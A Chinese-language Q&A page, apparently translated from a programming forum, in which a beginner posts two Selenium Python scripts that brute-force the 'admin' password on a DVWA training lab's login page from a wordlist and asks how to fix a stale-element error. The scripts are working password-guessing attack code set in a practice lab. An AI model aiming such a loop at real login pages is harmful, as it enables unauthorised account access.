首页 > 解决方案 > 如何在不中断的情况下修复填充DVWA浏览器的pytonos程序代码?

问题描述

我的第一个程序代码:

import time
from selenium import webdriver

driver="/usr/local/bin/geckodriver"
webpage=webdriver.Firefox(executable_path=driver)

webpage.get("http://192.168.192.128/dvwa/login.php")
time.sleep(2)

username=webpage.find_element_by_css_selector("input.loginInput:nth-child(2)")
passwd=webpage.find_element_by_css_selector("input.loginInput:nth-child(5)")
button=webpage.find_element_by_css_selector(".submit > input:nth-child(1)")

dictionary=open("/root/Desktop/mytest.txt","r")
for i in dictionary:
    username.send_keys("admin")
    passwd.send_keys(i)
    time.sleep(3)
    print(i)
    button.click()
    username.clear()
    
dictionary.close()

我的第二个程序代码:我修复了" DeprecationWarning: The executable_path is deprecated "错误消息。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import time
from selenium import webdriver
from selenium.webdriver.firefox.service import Service
from selenium.webdriver.firefox.options import Options


# Options
options = Options()


# Specify custom geckodriver path
service = Service("/usr/local/bin/geckodriver")

# Test
webpage=webdriver.Firefox(options=options, service=service)


webpage.get("http://192.168.192.128/dvwa/login.php")
time.sleep(2)


username=webpage.find_element_by_css_selector("input.loginInput:nth-child(2)")
passwd=webpage.find_element_by_css_selector("input.loginInput:nth-child(5)")
button=webpage.find_element_by_css_selector(".submit > input:nth-child(1)")


# Python program to
# demonstrate readline()

# Using readlines()
dictionary=open("/root/Desktop/mytest.txt","r")
Lines=dictionary.readlines()

count=0
# Strips the newline character
for line in Lines:
    count+=1
    username.send_keys("admin")
    passwd.send_keys(line)
    time.sleep(3)
    print("Attempt {}: {}".format(count,line.strip()))
    button.click()
    time.sleep(2)
    username.clear()
    passwd.clear()
 
dictionary.close()

在这两种情况下,我都会收到相同的错误消息:" selenium.common.exceptions.StaleElementReferenceException: Message: The element reference of <input class="loginInput" name="username" type="text"> is stale; either the element is no longer attached to the DOM, it is not in the current frame context, or the document has been refreshed .. "

我是python的初学者。我试图添加:

from selenium.webdriver.support.ui import WebDriverWait

from selenium.webdriver.support import expected_conditions as EC

我试图替换:

element_present = EC.presence_of_element_located((By.CSS_SELECTOR, "input.loginInput:nth-child"))

WebDriverWait(browser, timeout).until (element_present)

或者添加这样" href "的附加组件(我不能写的例子,因为我已经删除了它们)。但要么它不起作用,要么我得到了同样的错误。

(我知道有一个更简单的 python 解决方案来测试 DVWA 请求,但我想这样做,顺利通过网页。)

标签: pythonlinuxseleniumselenium-webdriverlogin-script

解决方案


推荐阅读